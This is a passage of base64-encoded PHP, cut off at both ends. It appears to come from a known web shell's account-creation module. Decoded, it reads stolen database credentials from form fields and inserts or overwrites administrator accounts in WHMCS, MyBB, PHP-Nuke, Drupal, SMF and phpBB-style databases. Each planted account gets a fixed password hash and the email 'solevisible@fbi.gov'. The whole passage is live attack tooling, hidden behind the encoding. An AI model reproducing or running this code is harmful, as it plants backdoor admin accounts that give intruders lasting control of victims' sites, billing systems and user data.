CIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJGhhc2guIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSAmJiAkX1BPU1RbJ2FsZmE2J10gPT0gJ3dobWNzJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV2htY3MgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsXCd3aG1jc1wnLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gdGJsYWRtaW5zIChpZCxyb2xlaWQsdXNlcm5hbWUscGFzc3dvcmQsZW1haWwsdGVtcGxhdGUsaG9tZXdpZGdldHMpIHZhbHVlcyhudWxsLCcxJywnIi4kYWRtaW4uIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnIi4kU1FMLiInLCdibGVuZCcsJ2dldHRpbmdfc3RhcnRlZDp0cnVlLG9yZGVyc19vdmVydmlldzp0cnVlLHN1cHBvcnR0aWNrZXRzX292ZXJ2aWV3OnRydWUsbXlfbm90ZXM6dHJ1ZSxjbGllbnRfYWN0aXZpdHk6dHJ1ZSxvcGVuX2ludm9pY2VzOnRydWUsYWN0aXZpdHlfbG9nOnRydWV8aW5jb21lX292ZXJ2aWV3OnRydWUsc3lzdGVtX292ZXJ2aWV3OnRydWUsd2htY3NfbmV3czp0cnVlLHN5c2luZm86dHJ1ZSxhZG1pbl9hY3Rpdml0eTp0cnVlLHRvZG9fbGlzdDp0cnVlLG5ldHdvcmtfc3RhdHVzOnRydWUsaW5jb21lX2ZvcmVjYXN0OnRydWV8JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNyddKSAmJiAkX1BPU1RbJ2FsZmE3J10gPT0gJ215YmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBNeWJiIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ215YmInKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCxcJ215YmJcJyx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcnMgKHVpZCx1c2VybmFtZSxwYXNzd29yZCxzYWx0LGVtYWlsLHVzZXJncm91cCkgdmFsdWVzKG51bGwsJyIuJGFkbWluLiInLCdlNzFmMmMzMjY1NjE5MDM4ZDgyNmExYWM2ZTJiOWI4ZScsJ3l3emE2OGxTJywnIi4kU1FMLiInLCc0JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhOCddKSAmJiAkX1BPU1RbJ2FsZmE4J10gPT0gJ251a2UnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhNyddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGhhc2ggPSBtZDUoJHB3ZCk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdHb2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2FsZmE5J10pICYmICRfUE9TVFsnYWxmYTknXSA9PSAnZHJ1cGFsJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRHJ1cGFsIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2RydXBhbCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSxudWxsLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSxcJ2RydXBhbFwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpCiApOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGdldERlc2N1aWQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgdWlkIGZyb20gdXNlcnMgb3JkZXIgYnkgdWlkIGRlc2MgbGltaXQgMCwxIik7CiRnZXREZXNjdWlkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0RGVzY3VpZCk7CiRnZXREZXNjdWlkID0gJGdldERlc2N1aWRbJ3VpZCddOwokZ2V0ZGVzY3VpZCA9ICRnZXREZXNjdWlkKys7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGluaXQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywnc29sZXZpc2libGVAZmJpLmdvdicsJ2ZpbHRlcmVkX2h0bWwnLCcxJywnRXVyb3BlL0JlcmxpbicsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyB3aGVyZSBuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPSBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ3VpZCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyB1c2Vyc19yb2xlcyAodWlkLHJpZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CgppZihpc3NldCgkX1BPU1RbJ2FsZmExMCddKSAmJiAkX1BPU1RbJ2FsZmExMCddID09ICdzbWYnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNNRiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdzbWYnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxudWxsLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLG51bGwsXCdzbWZcJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnc21mXycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiApOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmY